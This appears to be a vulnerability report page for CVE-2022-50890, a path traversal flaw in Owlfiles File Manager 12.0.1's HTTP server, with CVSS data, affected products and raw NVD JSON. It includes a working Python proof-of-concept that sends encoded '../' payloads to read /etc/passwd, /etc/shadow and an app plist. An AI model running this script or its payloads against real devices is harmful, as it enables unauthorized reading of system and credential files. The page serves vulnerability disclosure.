Security Vulnerability Report
中文
CVE-2022-50890 CVSS 7.5 HIGH

CVE-2022-50890

Published: 2026-01-13 23:15:50
Last Modified: 2026-01-29 00:43:52

Description

Owlfiles File Manager 12.0.1 contains a path traversal vulnerability in its built-in HTTP server that allows attackers to access system directories. Attackers can exploit the vulnerability by crafting GET requests with directory traversal sequences to access restricted system directories on the device.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:skyjos:owlfiles:12.0.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:ipados:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:apple:iphone_os:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:apple:tvos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:apple:visionos:-:*:*:*:*:*:*:* - NOT VULNERABLE
Owlfiles File Manager <= 12.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import urllib.parse # CVE-2022-50890 PoC - Owlfiles File Manager Path Traversal # Target: Owlfiles File Manager HTTP Server # Vulnerability: Directory traversal in file access def exploit_path_traversal(target_ip, target_port=8080): """ Exploit path traversal vulnerability in Owlfiles File Manager to read arbitrary system files """ # Target URL - Owlfiles built-in HTTP server base_url = f"http://{target_ip}:{target_port}" # Path traversal payloads to read system files payloads = [ # Read /etc/passwd "../../../../../../etc/passwd", # Read shadow file (if permissions allow) "../../../../../../etc/shadow", # Read app's Info.plist "../../../../../../Applications/Owlfiles.app/Info.plist" ] for payload in payloads: # Encode the payload to bypass potential filters encoded_payload = urllib.parse.quote(payload) # Send malicious request url = f"{base_url}/{encoded_payload}" try: response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[+] Success! File accessed: {payload}") print(f"[+] Content:\n{response.text[:500]}") else: print(f"[-] Failed for {payload} - Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target IP target = "192.168.1.100" exploit_path_traversal(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50890", "sourceIdentifier": "[email protected]", "published": "2026-01-13T23:15:50.370", "lastModified": "2026-01-29T00:43:52.257", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Owlfiles File Manager 12.0.1 contains a path traversal vulnerability in its built-in HTTP server that allows attackers to access system directories. Attackers can exploit the vulnerability by crafting GET requests with directory traversal sequences to access restricted system directories on the device."}, {"lang": "es", "value": "Owlfiles File Manager 12.0.1 contiene una vulnerabilidad de salto de ruta en su servidor HTTP integrado que permite a los atacantes acceder a directorios del sistema. Los atacantes pueden explotar la vulnerabilidad creando solicitudes GET con secuencias de salto de directorio para acceder a directorios del sistema restringidos en el dispositivo."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:skyjos:owlfiles:12.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "1E81E20E-05BA-4886-8C8E-3BDE79306740"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:ipados:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8D54BB4-30FB-4886-B1DE-7316F11B674B"}, {"vulnerable": false, "criteria": "cpe:2.3:o:apple:iphone_os:-:*:*:*:*:*:*:*", "matchCriteriaId": "B5415705-33E5-46D5-8E4D-9EBADC8C5705"}, {"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:apple:tvos:-:*:*:*:*:*:*:*", "matchCriteriaId": "2346B2F8-C1F3-41C8-BD78-615FC31E9D0F"}, {"vulnerable": false, "criteria": "cpe:2.3:o:apple:visionos:-:*:*:*:*:*:*:*", "matchCriteriaId": "653A9908-981E-4C56-B557-F8F9838B31E1"}]}]}], "references": [{"url": "https://apps.apple.com/us/app/owlfiles-file-manager/id510282524", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/51036", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.skyjos.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/owlfiles-file-manager-path-traversal", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/51036", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit"]}]}}